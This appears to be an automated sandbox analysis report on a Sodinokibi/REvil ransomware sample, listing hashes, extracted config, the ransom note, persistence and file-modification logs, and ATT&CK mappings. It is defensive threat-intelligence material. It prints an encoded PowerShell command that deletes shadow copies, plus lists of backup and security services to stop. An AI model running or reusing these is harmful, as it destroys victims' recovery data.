sodinokibi | ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae

Resubmissions

28-07-2024 16:34

240728-t3cqnasfml 10

28-07-2024 16:18

240728-tsfdsssbpr 10

26-07-2024 07:19

240726-h5sn4stdnm 10

Analysis

max time kernel
122s
max time network
150s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
28-07-2024 16:34

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Report Analysis Logs

General

Target

ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
Size

139KB
MD5

72d9db37db04e51f61fc7b3424a009d2
SHA1

3be50ec5fced0b0f0e9f1795ecbafc7538f28426
SHA256

ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae
SHA512

be13842d7b615579714ac1dab4f43e11207075a4a3d09ec2aae2c87727ccdde2dece33c2394b20e0e669cd03f8c8f42924bf8d6cdaf1ab9489d9b555fb1a4281
SSDEEP

1536:+DvcP3aXhpshwVs5OE8yNcYQpG2ZZICS4AIjnBR561lQVMr3IgmffEbjQFOx9VG8:5lSVhaNcYMkgnBR5uiV1UvQFOxXGCH

Score

10^/10

sodinokibi $2a$10$ctl6mpbcozzcr.aru3gxp.pcftg0jof6upmmrky0hc0o.x.alltz.4085 aspackv2 discovery persistence ransomware

Malware Config

Extracted

Family

sodinokibi

Botnet

$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.

Campaign

4085

Decoy

sandd.nl

digivod.de

southeasternacademyofprosthodontics.org

resortmtn.com

mdk-mediadesign.de

tetinfo.in

fayrecreations.com

ecpmedia.vn

physiofischer.de

highlinesouthasc.com

antenanavi.com

blog.solutionsarchitect.guru

deepsouthclothingcompany.com

coursio.com

quickyfunds.com

atmos-show.com

pawsuppetlovers.com

hokagestore.com

midmohandyman.com

mmgdouai.fr

Attributes

net
true
pid
$2a$10$CtL6MpBCOZZcR.aRU3GXp.pcFtg0joF6uPmmrKY0hC0o.x.alLtZ.
prc
sqbcoreservice

dbsnmp

mydesktopservice

outlook

ocomm

excel

mydesktopqos

isqlplussvc

onenote

tbirdconfig

msaccess

encsvc

infopath

steam

thebat

agntsvc

sql

visio

wordpad

winword

dbeng50

powerpnt

firefox

xfssvccon

mspub

oracle

thunderbird

ocssd

synctime

ocautoupds
ransom_oneliner
All of your files are encrypted! Find {EXT}-readme.txt and follow instuctions
ransom_template
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension {EXT}. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/{UID} 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/{UID} Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: {KEY} ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
sub
4085
svc
memtas

mepocs

backup

sophos

sql

svc$

veeam

vss

Extracted

Path

C:\Users\hjs9v3znm3-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension hjs9v3znm3. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D423B7B2EECD90AD 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/D423B7B2EECD90AD Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 1W7V1sXW9chsZL9kVr+5eOg540y1rHKz5eH8e25FbbhzgSSNakm/Bex76ut6kPLk VM8y9TP4m2yhkdEqBZuf7VV+zIEuvtwLuDGHfuOblGUTE7GJbyEnldmg5ViT+lRl qLkyOR7h14LY1MjDac7p5eCGsfwwaVsPUsJCJOl0jo8JAYKASl6sc1pcoDPzFiTx vzIdfNMqSMhLOmxaDyKQ4Vv7yn7k/JieQfUMUlJjdT+heufNk9GDBl2nrYNEUJ9K i6BnKOvSzD5Y71Ku9R7x4hfxup3oIA29OYmFNs8H6B5jg0iwOkGHN84GXTgtAmdR S/tmXhSc2VR75DJd/Lv6+s6eOD0DZcQE49TIyrwlY6Hwp0NDEwu/gBxqIoiuWhOS pYY6Hb7Km1lQPA+Y7TUpGs8t+Xl3JB/0Hyz4oD3mb/RksRLEgkvLu1Y487fyDmxp QXPJ/LsXyA4k1jIJI8ACsRmVt8AvGRhPhn3Ik02ZaWHZdf80gGUU2TAMZtUJ9eH3 ntGuwrTbCR6vVc5b9ihFq5+RPkDmB//U1oWueiyrj+fvZe+ggtYn264aoHoc1tGm 1NBTSsF+bXqdoG6FJ8XowYJcOel2a7bZafZvgOpdcfbsce2sg0iZXBRiVJZJvkDX phuStYjx6K7zFR3HsjMjy7OVgikCH2Fl7yJtCOSODK5sXI5LaK8k6PyG0IDN6rNv u2mRjfZYxSZutnYhCTnhu9OmI/+PbmSv/sQ3tID3rQuO8h+23LYLHc18+mT73ihN ++RQewwTzpB0FsopKoXPiv0WmlKH92cyCxOE07SDzagjL91QYXsxUWEQWC+qul1U g3/6JzO0ZMPGoqdA6A/PbS8VqwT/cR+pWE0IR1Vo3YC1AFvWO84KJFDKEXAHrUZR Gj5ILunGyOkORLXP74VW88kVPnYxSmwZLNdAwsQWPWEuKB9PVa4lrLtzVxgWawYe rO1crNmt1exFkJyX6t/PaXtkfa9y+n7/zG4WWeYjxm3qiND7iH7Au/3IAucFgq6W QV4D3/JoJHh5BssWGHD3y936Uc0dBlo6j19V3/tZfphG0fM3DDWc3I4zzXZPfXIS 18T6G22aLUICc4RqESxvPWPLQPCwZQlqyivQEgGpnXY8+hKLOW3I4oGfQ2O0Paqo cpXLl/l6bUBTG59sdRWnLBXU1FpjqB6RG1/E+rtG+XkReeMIK25pFH2Bkm9knrnV L0TmLEeqhxDhuwjO1d9MteAn3+NIUK/BpS/sVC/pqImYQriUARxKnPeFmA4dXswV aX1lZgt9jF3Iiee2j3bqlRn68v4qrQLkUZKDRomgbXtIu3QlFIbshp6L6oo8BsSp phd9Pmhya5DNnmxEr6UPxNyvTTDomw2jkIhjOjl6RkKynZSsm+/QlA== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/D423B7B2EECD90AD

http://decryptor.cc/D423B7B2EECD90AD

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x000d00000001227f-4.dat	aspack_v212_v242

Executes dropped EXE 1 IoCs

pid	Process
2156	Kufmxd.exe

Loads dropped DLL 2 IoCs

pid	Process
1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\DNXeNcyLON = "C:\\Users\\Admin\\AppData\\Local\\Temp\\ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe"	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\K:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\B:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\L:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\O:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\D:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\W:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\X:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\U:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\Z:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\E:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\G:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\Y:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\R:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\S:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\V:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\H:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\J:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\N:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\Q:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\A:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\I:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\T:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\M:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\P:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened (read-only)	\??\F:	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-940600906-3464502421-4240639183-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\b81k19rq645t.bmp"	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\tnameserv.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSQRY32.EXE	Kufmxd.exe
File opened for modification	\??\c:\program files\StopFind.xltx	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened for modification	C:\Program Files\7-Zip\7zG.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jps.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jre7\bin\policytool.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaire.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\misc.exe	Kufmxd.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\policytool.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroTextExtractor.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateOnDemand.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\SETLANG.EXE	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\orbd.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\chrome_installer.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\ONELEV.EXE	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.EXE	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\jabswitch.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateBroker.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Spades\shvlzm.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSOHTMED.EXE	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\NAMECONTROLSERVER.EXE	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jabswitch.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\tnameserv.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jre7\bin\javacpl.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\FreeCell.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTE.EXE	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\native2ascii.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\unpack200.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\orbd.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\klist.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jconsole.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Microsoft Games\Purble Place\PurblePlace.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javac.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Setup.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSTORDB.EXE	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\SELFCERT.EXE	Kufmxd.exe
File opened for modification	\??\c:\program files\SelectPush.xps	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\elevation_service.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Microsoft Games\Hearts\Hearts.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Microsoft Games\Minesweeper\MineSweeper.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Mozilla Firefox\default-browser-agent.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Mozilla Firefox\firefox.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Mozilla Firefox\private_browsing.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Windows Mail\wab.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AdobeCollabSync.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstat.exe	Kufmxd.exe
File opened for modification	\??\c:\program files\ResetConvert.3gpp	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Backgammon\bckgzm.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaw.exe	Kufmxd.exe
File opened for modification	\??\c:\program files\DebugUnprotect.pps	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javaws.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\java.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateCore.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\apt.exe	Kufmxd.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\servertool.exe	Kufmxd.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE	Kufmxd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Kufmxd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
2248	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
Token: SeDebugPrivilege	2248	powershell.exe
Token: SeBackupPrivilege	2648	vssvc.exe
Token: SeRestorePrivilege	2648	vssvc.exe
Token: SeAuditPrivilege	2648	vssvc.exe
Token: SeTakeOwnershipPrivilege	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 2156	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	30
PID 1708 wrote to memory of 2156	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	30
PID 1708 wrote to memory of 2156	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	30
PID 1708 wrote to memory of 2156	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	30
PID 1708 wrote to memory of 2248	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	31
PID 1708 wrote to memory of 2248	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	31
PID 1708 wrote to memory of 2248	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	31
PID 1708 wrote to memory of 2248	1708	ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe	31
PID 2156 wrote to memory of 3016	2156	Kufmxd.exe	38
PID 2156 wrote to memory of 3016	2156	Kufmxd.exe	38
PID 2156 wrote to memory of 3016	2156	Kufmxd.exe	38
PID 2156 wrote to memory of 3016	2156	Kufmxd.exe	38

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe
"C:\Users\Admin\AppData\Local\Temp\ff6a62a956cfea3ed97e71f58a3554b1caaca3275d90ab5ac7b280aafa9c1cae.exe"
1⤵
- Loads dropped DLL
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Users\Admin\AppData\Local\Temp\Kufmxd.exe
  C:\Users\Admin\AppData\Local\Temp\Kufmxd.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2156
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\464c0f8c.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2248

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2760

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2648

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Defacement

T1491

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\NT8UAXPK\k2[1].rar

Filesize
4B

MD5
d3b07384d113edec49eaa6238ad5ff00

SHA1
f1d2d2f924e986ac86fdf7b36c94bcdf32beec15

SHA256
b5bb9d8014a0f9b1d61e21e796d78dccdf1352f23cd32812f4850b878ae4944c

SHA512
0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\1E9D4CAF.exe

Filesize
4B

MD5
20879c987e2f9a916e578386d499f629

SHA1
c7b33ddcc42361fdb847036fc07e880b81935d5d

SHA256
9f2981a7cc4d40a2a409dc895de64253acd819d7c0011c8e80b86fe899464e31

SHA512
bcdde1625364dd6dd143b45bdcec8d59cf8982aff33790d390b839f3869e0e815684568b14b555a596d616252aeeaa98dac2e6e551c9095ea11a575ff25ff84f

Download Submit
C:\Users\Admin\AppData\Local\Temp\464c0f8c.bat

Filesize
187B

MD5
3627d3115abad8788b1882d069b1a80d

SHA1
98961ed9e5a8de66cbf1cbc3bf37908bea52df5f

SHA256
a41bd6e304940231ef8a7f3af571a63945b8768ecd5f40820bcee0733e53dd1b

SHA512
86ea780fd725bb1ece5e61b85e14d1fa326949973f3e6c6f754926cdd414c59741f73a72662e032e6cb7c72027fe92d4162252bbace0681c741009a0767d7d39

Download Submit
C:\Users\hjs9v3znm3-readme.txt

Filesize
6KB

MD5
9e1a5e096c4c336180213f5d6e10910d

SHA1
5410332aebbe26bc3e2f165f1b54eec47effd1b9

SHA256
580ea250df0a5000033e1540581a868300105a6c97b7d3037213fa3516d9eb19

SHA512
f7337267b850fff1b288b492e3c6b797b8a778573f2989e77a26763938a78ef1442a4731343e5b3afcc676415c5c88c3c9568e423d56e2c5ec6d5b1794c25e90

Download Submit
\Users\Admin\AppData\Local\Temp\Kufmxd.exe

Filesize
15KB

MD5
f7d21de5c4e81341eccd280c11ddcc9a

SHA1
d4e9ef10d7685d491583c6fa93ae5d9105d815bd

SHA256
4485df22c627fa0bb899d79aa6ff29bc5be1dbc3caa2b7a490809338d54b7794

SHA512
e4553b86b083996038bacfb979ad0b86f578f95185d8efac34a77f6cc73e491d4f70e1449bbc9eb1d62f430800c1574101b270e1cb0eeed43a83049a79b636a3

Download Submit
memory/1708-10-0x0000000000020000-0x0000000000029000-memory.dmp

Filesize
36KB

Download
memory/1708-9-0x0000000000020000-0x0000000000029000-memory.dmp

Filesize
36KB

Download
memory/1708-1-0x00000000001A0000-0x00000000001C7000-memory.dmp

Filesize
156KB

Download
memory/1708-498-0x0000000000020000-0x0000000000029000-memory.dmp

Filesize
36KB

Download
memory/1708-60-0x00000000001A0000-0x00000000001C7000-memory.dmp

Filesize
156KB

Download
memory/2156-11-0x0000000000060000-0x0000000000069000-memory.dmp

Filesize
36KB

Download
memory/2156-58-0x0000000000060000-0x0000000000069000-memory.dmp

Filesize
36KB

Download
memory/2248-19-0x000007FEF568E000-0x000007FEF568F000-memory.dmp

Filesize
4KB

Download
memory/2248-24-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2248-23-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2248-22-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2248-61-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2248-62-0x000007FEF568E000-0x000007FEF568F000-memory.dmp

Filesize
4KB

Download
memory/2248-63-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2248-64-0x000007FEF53D0000-0x000007FEF5D6D000-memory.dmp

Filesize
9.6MB

Download
memory/2248-21-0x00000000027F0000-0x00000000027F8000-memory.dmp

Filesize
32KB

Download
memory/2248-20-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

Filesize
2.9MB

Download